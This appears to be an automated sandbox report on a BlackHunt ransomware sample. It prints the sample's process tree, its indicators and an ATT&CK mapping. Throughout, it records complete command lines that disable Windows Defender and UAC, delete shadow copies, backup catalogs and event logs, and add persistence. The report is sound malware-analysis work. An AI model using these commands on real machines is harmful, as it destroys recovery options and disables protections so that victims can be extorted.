b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 135 PID 1996 wrote to memory of 2496 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 135 PID 1996 wrote to memory of 2496 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 135 PID 1996 wrote to memory of 2496 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 135 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe"C:\Users\Admin\AppData\Local\Temp\b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1996 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2640
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2632
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2576
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2684
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2476
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2704
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2468
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2496
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2456
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2300
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2504
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2492
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1256
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1976
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1736
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2756
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1232
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1164
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1168
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2176
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:948
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2784
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1752
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2788
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2544
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe" /F2⤵PID:1588
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe" /F3⤵
- Creates scheduled task(s)
PID:1724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2244
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2864
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2408
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:452
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1900
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1516
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1984
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:580
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2260
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:812
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:600
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:848
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:600
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3520
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:2372
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2236
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1212
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2988
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1800
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1432
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2760
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1164
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2852
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2924
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1776
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3472
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3364
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2344
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3280
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1180
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3348
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:1516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:604
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3080
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3272
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1488
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3032
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1636
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe"2⤵
- Deletes itself
PID:1724 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3652
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "178634652196063459-6312468311405362343-59860125110160181131016125154-1041602371"1⤵PID:2496
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:2544
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2696
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3464
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3320
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
12KB
MD5296fc75fc6e9ac86c112d99b4edfdce3
SHA1cfeb23364897cae74e552daf84cbf7c32faca400
SHA256bdeafc1e4bfa5bde7ba0eb8d43e1f646c883e91b0c664fa71f9b01ce8f6253b4
SHA512149bb7bd9ba06cdcbe666fa0c7c424396758405c2ea1b59e9e9ab7e83c746811ae25d08acbaa9bf7ab799c0422f97f36549bdc145b7abfc9cdf99bc771ae0e1c
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Filesize
1KB
MD53b3182e9257bbfe5bbc42574f61fd93e
SHA14a6e54420e99984303061740d6c9dbc0d6e21203
SHA2567826f05e85e964348a09e0db11d6b623b73a761e2cf02c37efbf4cb10ee3c4dc
SHA5122246ec3a2ea4a52ac95972753981763ae99fdfb033818cc70d9bb52bb3b0af384f4a65958aed11877b42283f21395ebdcfea31ced4c614ec597be694f5cd1218
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Filesize
684B
MD581a1bde7c01d8e42336ac0fb22ce67f1
SHA17916d376d5dee6609375a60883d874e31ea7038c
SHA256bb7633405a1667e8212aed3467bddc93f24937afad0a908ba2d61dc7780cacd9
SHA512e125438964ee7455a0e69c6e0e9ecd6080e5477f4f006df0a8ef97bf420534b7e057610a551f8cebf0367ea1ab4cea4a49a4428e102a739844c605cca784bb86